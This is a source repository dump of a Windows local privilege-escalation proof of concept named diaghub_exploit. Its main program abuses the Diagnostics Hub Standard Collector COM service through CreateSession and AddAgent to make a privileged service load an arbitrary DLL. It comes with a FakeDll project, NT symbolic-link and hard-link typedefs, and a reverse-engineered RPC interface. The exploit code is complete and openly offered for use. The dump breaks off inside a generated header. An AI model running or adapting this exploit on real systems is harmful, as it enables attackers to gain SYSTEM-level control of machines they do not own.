├── FakeDll ├── FakeDll.cpp ├── FakeDll.vcxproj ├── FakeDll.vcxproj.filters ├── FakeDll.vcxproj.user ├── dllmain.cpp ├── fakedll.def ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── diaghub_exploit ├── ScopedHandle.cpp ├── ScopedHandle.h ├── diaghub_exploit.cpp ├── diaghub_exploit.vcxproj ├── ntimports.h ├── rpc.idl ├── rpc_c.c ├── rpc_h.h ├── rpc_s.c ├── stdafx.cpp ├── stdafx.h ├── targetver.h └── typed_buffer.h └── diaghubexploit.sln /FakeDll/FakeDll.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/FakeDll.cpp -------------------------------------------------------------------------------- /FakeDll/FakeDll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {510160D0-966C-4382-8A59-C6306C8624A7} 24 | Win32Proj 25 | FakeDll 26 | 8.1 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | 93 | 94 | Windows 95 | true 96 | fakedll.def 97 | 98 | 99 | 100 | 101 | Use 102 | Level3 103 | Disabled 104 | true 105 | _DEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 106 | 107 | 108 | Windows 109 | true 110 | fakedll.def 111 | 112 | 113 | 114 | 115 | Use 116 | Level3 117 | MaxSpeed 118 | true 119 | true 120 | true 121 | WIN32;NDEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 122 | MultiThreaded 123 | 124 | 125 | Windows 126 | true 127 | true 128 | true 129 | fakedll.def 130 | 131 | 132 | 133 | 134 | Use 135 | Level3 136 | MinSpace 137 | true 138 | true 139 | true 140 | NDEBUG;FAKEDLL_EXPORTS;_CRT_SECURE_NO_WARNINGS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | MultiThreaded 142 | 143 | 144 | Windows 145 | true 146 | true 147 | false 148 | fakedll.def 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | Create 160 | Create 161 | Create 162 | Create 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | -------------------------------------------------------------------------------- /FakeDll/FakeDll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | 37 | 38 | Source Files 39 | 40 | 41 | -------------------------------------------------------------------------------- /FakeDll/FakeDll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /FakeDll/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/dllmain.cpp -------------------------------------------------------------------------------- /FakeDll/fakedll.def: -------------------------------------------------------------------------------- 1 | LIBRARY fakedll 2 | 3 | EXPORTS 4 | DllGetClassObject PRIVATE 5 | DllInstall PRIVATE 6 | DllRegisterServer PRIVATE 7 | -------------------------------------------------------------------------------- /FakeDll/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/stdafx.cpp -------------------------------------------------------------------------------- /FakeDll/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/stdafx.h -------------------------------------------------------------------------------- /FakeDll/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/targetver.h -------------------------------------------------------------------------------- /diaghub_exploit/ScopedHandle.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "ScopedHandle.h" 17 | #include 18 | 19 | static HANDLE Duplicate(HANDLE h) 20 | { 21 | HANDLE dup; 22 | 23 | if ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS)) 24 | { 25 | return nullptr; 26 | } 27 | else 28 | { 29 | return dup; 30 | } 31 | } 32 | 33 | ScopedHandle::ScopedHandle(HANDLE h, bool duplicate) 34 | { 35 | if (duplicate) 36 | { 37 | g_h = Duplicate(h); 38 | } 39 | else 40 | { 41 | g_h = h; 42 | } 43 | } 44 | 45 | ScopedHandle::ScopedHandle(const ScopedHandle& other) 46 | { 47 | g_h = Duplicate(other.g_h); 48 | } 49 | 50 | ScopedHandle& ScopedHandle::operator=(const ScopedHandle& other) 51 | { 52 | if (this != &other) 53 | { 54 | g_h = Duplicate(other.g_h); 55 | } 56 | 57 | return *this; 58 | } 59 | 60 | ScopedHandle::ScopedHandle(ScopedHandle&& other) 61 | { 62 | g_h = other.g_h; 63 | other.g_h = nullptr; 64 | } 65 | 66 | ScopedHandle& ScopedHandle::operator=(ScopedHandle&& other) 67 | { 68 | if (this != &other) 69 | { 70 | g_h = other.g_h; 71 | other.g_h = nullptr; 72 | } 73 | 74 | return *this; 75 | } 76 | 77 | void ScopedHandle::Close() 78 | { 79 | if (IsValid()) 80 | { 81 | CloseHandle(g_h); 82 | g_h = nullptr; 83 | } 84 | } 85 | 86 | void ScopedHandle::Reset(HANDLE h) 87 | { 88 | Close(); 89 | g_h = h; 90 | } 91 | 92 | ScopedHandle::~ScopedHandle() 93 | { 94 | Close(); 95 | } 96 | -------------------------------------------------------------------------------- /diaghub_exploit/ScopedHandle.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | class ScopedHandle 4 | { 5 | HANDLE g_h; 6 | 7 | public: 8 | ScopedHandle(HANDLE h, bool duplicate); 9 | void Close(); 10 | void Reset(HANDLE h); 11 | bool IsValid() const { 12 | return (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE); 13 | } 14 | ScopedHandle(const ScopedHandle& other); 15 | ScopedHandle& operator=(const ScopedHandle& other); 16 | 17 | ScopedHandle(ScopedHandle&& other); 18 | ScopedHandle& operator=(ScopedHandle&& other); 19 | 20 | operator HANDLE() const { 21 | return g_h; 22 | } 23 | 24 | ~ScopedHandle(); 25 | }; 26 | 27 | -------------------------------------------------------------------------------- /diaghub_exploit/diaghub_exploit.cpp: -------------------------------------------------------------------------------- 1 | // PocStorSvc.cpp : Defines the entry point for the console application. 2 | // 3 | #include "stdafx.h" 4 | 5 | #include "rpc_h.h" 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "ScopedHandle.h" 11 | #include 12 | #include 13 | #pragma comment(lib, "rpcrt4.lib") 14 | wchar_t *dllfile; 15 | 16 | RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle) 17 | { 18 | RPC_STATUS status; 19 | RPC_BINDING_HANDLE v5; 20 | RPC_SECURITY_QOS SecurityQOS = {}; 21 | RPC_WSTR StringBinding = nullptr; 22 | RPC_BINDING_HANDLE Binding; 23 | 24 | StringBinding = 0; 25 | Binding = 0; 26 | status = RpcStringBindingComposeW(L"be7f785e-0e3a-4ab7-91de-7e46e443be29", L"ncalrpc", 27 | nullptr, nullptr, nullptr, &StringBinding); 28 | if (status == RPC_S_OK) 29 | { 30 | status = RpcBindingFromStringBindingW(StringBinding, &Binding); 31 | RpcStringFreeW(&StringBinding); 32 | if (!status) 33 | { 34 | SecurityQOS.Version = 1; 35 | SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; 36 | SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; 37 | SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; 38 | 39 | status = RpcBindingSetAuthInfoExW(Binding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); 40 | if (!status) 41 | { 42 | v5 = Binding; 43 | Binding = 0; 44 | *binding_handle = v5; 45 | } 46 | } 47 | } 48 | 49 | if (Binding) 50 | RpcBindingFree(&Binding); 51 | return status; 52 | } 53 | 54 | extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len) 55 | { 56 | return(malloc(len)); 57 | } 58 | 59 | extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr) 60 | { 61 | free(ptr); 62 | } 63 | 64 | 65 | 66 | 67 | 68 | 69 | GUID CLSID_CollectorService = 70 | { 0x42CBFAA7, 0xA4A7, 0x47BB,{ 0xB4, 0x22, 0xBD, 0x10, 0xE9, 0xD0, 0x27, 0x00, } }; 71 | 72 | class __declspec(uuid("f23721ef-7205-4319-83a0-60078d3ca922")) ICollectionSession : public IUnknown { 73 | public: 74 | 75 | virtual HRESULT __stdcall PostStringToListener(REFGUID, LPWSTR) = 0; 76 | virtual HRESULT __stdcall PostBytesToListener() = 0; 77 | virtual HRESULT __stdcall AddAgent(LPWSTR path, REFGUID) = 0; 78 | }; 79 | 80 | struct SessionConfiguration 81 | { 82 | DWORD version; // Needs to be 1 83 | DWORD a1; // Unknown 84 | DWORD something; // Also unknown 85 | DWORD monitor_pid; 86 | GUID guid; 87 | BSTR path; // Path to a valid directory 88 | USHORT trailing; 89 | }; 90 | 91 | class __declspec(uuid("7e912832-d5e1-4105-8ce1-9aadd30a3809")) IStandardCollectorClientDelegate : public IUnknown 92 | { 93 | }; 94 | 95 | class __declspec(uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")) IStandardCollectorService : public IUnknown 96 | { 97 | public: 98 | virtual HRESULT __stdcall CreateSession(SessionConfiguration *, IStandardCollectorClientDelegate *, ICollectionSession **) = 0; 99 | virtual HRESULT __stdcall GetSession(REFGUID, ICollectionSession **) = 0; 100 | virtual HRESULT __stdcall DestroySession(REFGUID) = 0; 101 | virtual HRESULT __stdcall DestroySessionAsync(REFGUID) = 0; 102 | virtual HRESULT __stdcall AddLifetimeMonitorProcessIdForSession(REFGUID, int) = 0; 103 | }; 104 | 105 | _COM_SMARTPTR_TYPEDEF(IStandardCollectorService, __uuidof(IStandardCollectorService)); 106 | _COM_SMARTPTR_TYPEDEF(ICollectionSession, __uuidof(ICollectionSession)); 107 | 108 | class CoInit 109 | { 110 | public: 111 | CoInit() { 112 | CoInitialize(nullptr); 113 | } 114 | 115 | ~CoInit() { 116 | CoUninitialize(); 117 | } 118 | }; 119 | 120 | void ThrowOnError(HRESULT hr) 121 | { 122 | if (hr != 0) 123 | { 124 | throw _com_error(hr); 125 | } 126 | } 127 | 128 | void LoadDll() 129 | { 130 | CoInit coinit; 131 | try 132 | { 133 | GUID name; 134 | CoCreateGuid(&name); 135 | LPOLESTR name_str; 136 | StringFromIID(name, &name_str); 137 | 138 | 139 | WCHAR valid_dir[] = L"C:\\temp\\etw"; 140 | CreateDirectory(valid_dir, nullptr); 141 | printf("[+] Created dir:%S\n", valid_dir); 142 | IStandardCollectorServicePtr service; 143 | printf("[+] CoCreateInstance\n"); 144 | ThrowOnError(CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service))); 145 | DWORD authn_svc; 146 | DWORD authz_svc; 147 | LPOLESTR principal_name; 148 | DWORD authn_level; 149 | DWORD imp_level; 150 | RPC_AUTH_IDENTITY_HANDLE identity; 151 | DWORD capabilities; 152 | printf("[+] CoQueryProxyBlanket\n"); 153 | ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities)); 154 | printf("[+] CoSetProxyBlanket\n"); 155 | ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities)); 156 | SessionConfiguration config = {}; 157 | config.version = 1; 158 | config.monitor_pid = ::GetCurrentProcessId(); 159 | CoCreateGuid(&config.guid); 160 | bstr_t path = valid_dir; 161 | config.path = path; 162 | ICollectionSessionPtr session; 163 | printf("[+] service->CreateSession\n"); 164 | ThrowOnError(service->CreateSession(&config, nullptr, &session)); 165 | GUID agent_guid; 166 | CoCreateGuid(&agent_guid); 167 | printf("[+] service->AddAgent\n"); 168 | ThrowOnError(session->AddAgent(dllfile, agent_guid)); 169 | } 170 | catch (const _com_error& error) 171 | { 172 | if (error.Error() == 0x8007045A || error.Error() == 0xC1110015) 173 | { 174 | printf("[+] DLL should have been loaded\n"); 175 | } 176 | else 177 | { 178 | printf("%ls\n", error.ErrorMessage()); 179 | printf("%08X\n", error.Error()); 180 | } 181 | } 182 | } 183 | 184 | int wmain(int argc, wchar_t** argv) 185 | { 186 | if(argc < 2) 187 | { 188 | printf("specify fakedll name (without path)\n"); 189 | return 1; 190 | } 191 | dllfile = argv[1]; 192 | 193 | 194 | LoadDll(); 195 | 196 | return 0; 197 | } 198 | 199 | -------------------------------------------------------------------------------- /diaghub_exploit/diaghub_exploit.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449} 24 | Win32Proj 25 | Poc_StorSvc 26 | 10.0.17134.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Use 101 | Level3 102 | Disabled 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | 110 | 111 | 112 | 113 | Use 114 | Level3 115 | MaxSpeed 116 | true 117 | true 118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | 121 | 122 | Console 123 | true 124 | true 125 | true 126 | 127 | 128 | 129 | 130 | Use 131 | Level3 132 | MaxSpeed 133 | true 134 | true 135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | MultiThreaded 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | Create 155 | Create 156 | Create 157 | Create 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /diaghub_exploit/ntimports.h: -------------------------------------------------------------------------------- 1 | 2 | #pragma once 3 | #include 4 | #include 5 | 6 | 7 | #define DIRECTORY_QUERY 0x0001 8 | #define DIRECTORY_TRAVERSE 0x0002 9 | #define DIRECTORY_CREATE_OBJECT 0x0004 10 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 11 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) 12 | 13 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 14 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess, 15 | POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something); 16 | typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 17 | typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 18 | 19 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 20 | 21 | typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); 22 | typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 23 | typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength); 24 | typedef NTSTATUS(NTAPI* _NtOpenFile)( 25 | _Out_ PHANDLE FileHandle, 26 | _In_ ACCESS_MASK DesiredAccess, 27 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 28 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 29 | _In_ ULONG ShareAccess, 30 | _In_ ULONG OpenOptions 31 | ); 32 | 33 | const ULONG FileLinkInformation = 11; 34 | 35 | typedef struct _FILE_LINK_INFORMATION { 36 | BOOLEAN ReplaceIfExists; 37 | HANDLE RootDirectory; 38 | ULONG FileNameLength; 39 | WCHAR FileName[1]; 40 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; 41 | 42 | typedef NTSTATUS(__stdcall *_ZwSetInformationFile)( 43 | _In_ HANDLE FileHandle, 44 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 45 | _In_ PVOID FileInformation, 46 | _In_ ULONG Length, 47 | _In_ ULONG FileInformationClass 48 | ); 49 | typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status); 50 | void SetNtLastError(NTSTATUS status); 51 | 52 | #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x) 53 | -------------------------------------------------------------------------------- /diaghub_exploit/rpc.idl: -------------------------------------------------------------------------------- 1 | import "oaidl.idl"; 2 | import "ocidl.idl"; 3 | 4 | [ 5 | uuid(be7f785e-0e3a-4ab7-91de-7e46e443be29), 6 | version(0.0), 7 | ] 8 | interface DefaultIfName 9 | { 10 | 11 | typedef struct Struct_22_t 12 | { 13 | long StructMember0; 14 | short StructMember1; 15 | short StructMember2; 16 | byte StructMember3[8]; 17 | }Struct_22_t; 18 | 19 | typedef struct Struct_34_t 20 | { 21 | long StructMember0; 22 | wchar_t StructMember1[260]; 23 | long StructMember2; 24 | /* enum_16 */ short StructMember3; 25 | /* enum_16 */ short StructMember4; 26 | long StructMember5; 27 | /* enum_16 */ short StructMember6; 28 | /* enum_16 */ short StructMember7; 29 | struct Struct_22_t StructMember8; 30 | long StructMember9; 31 | hyper StructMember10; 32 | wchar_t StructMember11[260]; 33 | long StructMember12; 34 | long StructMember13; 35 | }Struct_34_t; 36 | 37 | typedef struct Struct_76_t 38 | { 39 | long StructMember0[2]; 40 | }Struct_76_t; 41 | 42 | typedef struct Struct_90_t 43 | { 44 | long StructMember0; 45 | /* enum_16 */ short StructMember1; 46 | long StructMember2; 47 | /* enum_16 */ short StructMember3; 48 | /* enum_16 */ short StructMember4; 49 | }Struct_90_t; 50 | 51 | typedef struct Struct_112_t 52 | { 53 | long StructMember0; 54 | long StructMember1; 55 | long StructMember2; 56 | /* enum_16 */ short StructMember3; 57 | }Struct_112_t; 58 | 59 | typedef struct Struct_134_t 60 | { 61 | long StructMember0; 62 | /* enum_16 */ short StructMember1; 63 | long StructMember2; 64 | long StructMember3; 65 | long StructMember4; 66 | }Struct_134_t; 67 | 68 | typedef struct Struct_162_t 69 | { 70 | double StructMember0; 71 | wchar_t StructMember1[39]; 72 | }Struct_162_t; 73 | 74 | long Proc0( 75 | [in]/* enum_16 */ short arg_1, 76 | [in]long arg_2, 77 | [in]long arg_3); 78 | 79 | long Proc1( 80 | [in]/* enum_16 */ short arg_1, 81 | [in]long arg_2, 82 | [in]long arg_3); 83 | 84 | long Proc2( 85 | [in]/* enum_16 */ short arg_1, 86 | [in]long arg_2, 87 | [in]long arg_3); 88 | 89 | long Proc3( 90 | [in]/* enum_16 */ short arg_1, 91 | [out]long *arg_2); 92 | 93 | long Proc4( 94 | [in]/* enum_16 */ short arg_1, 95 | [in]long arg_2, 96 | [in][out]struct Struct_34_t* arg_3); 97 | 98 | long Proc5( 99 | [in]/* enum_16 */ short arg_1, 100 | [in]/* enum_16 */ short arg_2, 101 | [in]long arg_3, 102 | [out]struct Struct_76_t* arg_4); 103 | 104 | long Proc6( 105 | [in]long arg_1, 106 | [in]long arg_2, 107 | [in]long arg_3); 108 | 109 | long Proc7( 110 | [in]long arg_1, 111 | [in]long arg_2); 112 | 113 | long Proc8( 114 | [in]long arg_1, 115 | [in]long arg_2); 116 | 117 | long Proc9( 118 | [in]/* enum_16 */ short arg_1, 119 | [in]long arg_2); 120 | 121 | long Proc10( 122 | [in]/* enum_16 */ short arg_1, 123 | [in]long arg_2, 124 | [in]/* enum_16 */ short arg_3, 125 | [out]long *arg_4); 126 | 127 | long Proc11( 128 | [in]/* enum_16 */ short arg_1, 129 | [in]long arg_2, 130 | [in]/* enum_16 */ short arg_3, 131 | [in]long arg_4); 132 | 133 | long Proc12( 134 | [in]struct Struct_90_t* arg_1); 135 | 136 | long Proc13( 137 | [in]/* enum_16 */ short arg_1, 138 | [in]long arg_2); 139 | 140 | __int3264 SvcMoveFileInheritSecurity 141 | ( 142 | [in][string] wchar_t* src, 143 | [in][string] wchar_t* dest, 144 | [in]long flags); 145 | 146 | long Proc15( 147 | [in]/* enum_16 */ short arg_1, 148 | [in]long arg_2, 149 | [in][out]struct Struct_112_t* arg_3); 150 | 151 | long Proc16( 152 | ); 153 | 154 | long Proc17( 155 | [in]/* enum_16 */ short arg_1, 156 | [in]long arg_2); 157 | 158 | long Proc18( 159 | [in]/* enum_16 */ short arg_1, 160 | [out]long *arg_2); 161 | 162 | long Proc19( 163 | [in]/* enum_16 */ short arg_1, 164 | [in][unique][string] wchar_t* arg_2, 165 | [out]long *arg_3); 166 | 167 | long Proc20( 168 | [in]/* enum_16 */ short arg_1, 169 | [in][unique][string] wchar_t* arg_2, 170 | [in]long arg_3); 171 | 172 | long Proc21( 173 | [in][out]struct Struct_134_t* arg_1); 174 | } -------------------------------------------------------------------------------- /diaghub_exploit/rpc_h.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for rpc.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 11 | protocol : all , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | 20 | 21 | /* verify that the version is high enough to compile this file*/ 22 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 23 | #define __REQUIRED_RPCNDR_H_VERSION__ 500 24 | #endif 25 | 26 | #include "rpc.h" 27 | #include "rpcndr.h" 28 | 29 | #ifndef __RPCNDR_H_VERSION__ 30 | #error this stub requires an updated version of 31 | #endif /* __RPCNDR_H_VERSION__ */ 32 | 33 | 34 | #ifndef __rpc_h_h__ 35 | #define __rpc_h_h__ 36 | 37 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 38 | #pragma once 39 | #endif 40 | 41 | /* Forward Declarations */ 42 | 43 | /* header files for imported files */ 44 | #include "oaidl.h" 45 | #include "ocidl.h" 46 | 47 | #ifdef __cplusplus 48 | extern "C"{ 49 | #endif 50 | 51 | 52 | #ifndef __DefaultIfName_INTERFACE_DEFINED__ 53 | #define __DefaultIfName_INTERFACE_DEFINED__ 54 | 55 | /* interface DefaultIfName */ 56 | /* [version][uuid] */ 57 | 58 | typedef struct Struct_22_t 59 | { 60 | long StructMember0; 61 | short StructMember1; 62 | short StructMember2; 63 | byte StructMember3[ 8 ]; 64 | } Struct_22_t; 65 | 66 | typedef struct Struct_34_t 67 | { 68 | long StructMember0; 69 | wchar_t StructMember1[ 260 ]; 70 | long StructMember2; 71 | short StructMember3; 72 | short StructMember4; 73 | long StructMember5; 74 | short StructMember6; 75 | short StructMember7; 76 | struct Struct_22_t StructMember8; 77 | long StructMember9; 78 | hyper StructMember10; 79 | wchar_t StructMember11[ 260 ]; 80 | long StructMember12; 81 | long StructMember13; 82 | } Struct_34_t; 83 | 84 | typedef struct Struct_76_t 85 | { 86 | long StructMember0[ 2 ]; 87 | } Struct_76_t; 88 | 89 | typedef struct Struct_90_t 90 | { 91 | long StructMember0; 92 | short StructMember1; 93 | long StructMember2; 94 | short StructMember3; 95 | short StructMember4; 96 | } Struct_90_t; 97 | 98 | typedef struct Struct_112_t 99 | { 100 | long StructMember0; 101 | long StructMember1; 102 | long StructMember2; 103 | short StructMember3; 104 | } Struct_112_t; 105 | 106 | typedef struct Struct_134_t 107 | { 108 | long StructMember0; 109 | short StructMember1; 110 | long StructMember2; 111 | long StructMember3; 112 | long StructMember4; 113 | } Struct_134_t; 114 | 115 | typedef struct Struct_162_t 116 | { 117 | double StructMember0; 118 | wchar_t StructMember1[ 39 ]; 119 | } Struct_162_t; 120 | 121 | long Proc0( 122 | /* [in] */ handle_t IDL_handle, 123 | /* [in] */ short arg_1, 124 | /* [in] */ long arg_2, 125 | /* [in] */ long arg_3); 126 | 127 | long Proc1( 128 | /* [in] */ handle_t IDL_handle, 129 | /* [in] */ short arg_1, 130 | /* [in] */ long arg_2, 131 | /* [in] */ long arg_3); 132 | 133 | long Proc2( 134 | /* [in] */ handle_t IDL_handle, 135 | /* [in] */ short arg_1, 136 | /* [in] */ long arg_2, 137 | /* [in] */ long arg_3); 138 | 139 | long Proc3( 140 | /* [in] */ handle_t IDL_handle, 141 | /* [in] */ short arg_1, 142 | /* [out] */ long *arg_2); 143 | 144 | long Proc4( 145 | /* [in] */ handle_t IDL_handle, 146 | /* [in] */ short arg_1, 147 | /* [in] */ long arg_2, 148 | /* [out][in] */ struct Struct_34_t *arg_3); 149 | 150 | long Proc5( 151 | /* [in] */ handle_t IDL_handle, 152 | /* [in] */ short arg_1, 153 | /* [in] */ short arg_2, 154 | /* [in] */ long arg_3, 155 | /* [out] */ struct Struct_76_t *arg_4); 156 | 157 | long Proc6( 158 | /* [in] */ handle_t IDL_handle, 159 | /* [in] */ long arg_1, 160 | /* [in] */ long arg_2, 161 | /* [in] */ long arg_3); 162 | 163 | long Proc7( 164 | /* [in] */ handle_t IDL_handle, 165 | /* [in] */ long arg_1, 166 | /* [in] */ long arg_2); 167 | 168 | long Proc8( 169 | /* [in] */ handle_t IDL_handle, 170 | /* [in] */ long arg_1, 171 | /* [in] */ long arg_2); 172 | 173 | long Proc9( 174 | /* [in] */ handle_t IDL_handle, 175 | /* [in] */ short arg_1, 176 | /* [in] */ long arg_2); 177 | 178 | long Proc10( 179 | /* [in] */ handle_t IDL_handle, 180 | /* [in] */ short arg_1, 181 | /* [in] */ long arg_2, 182 | /* [in] */ short arg_3, 183 | /* [out] */ long *arg_4); 184 | 185 | long Proc11( 186 | /* [in] */ handle_t IDL_handle, 187 | /* [in] */ short arg_1, 188 | /* [in] */ long arg_2, 189 | /* 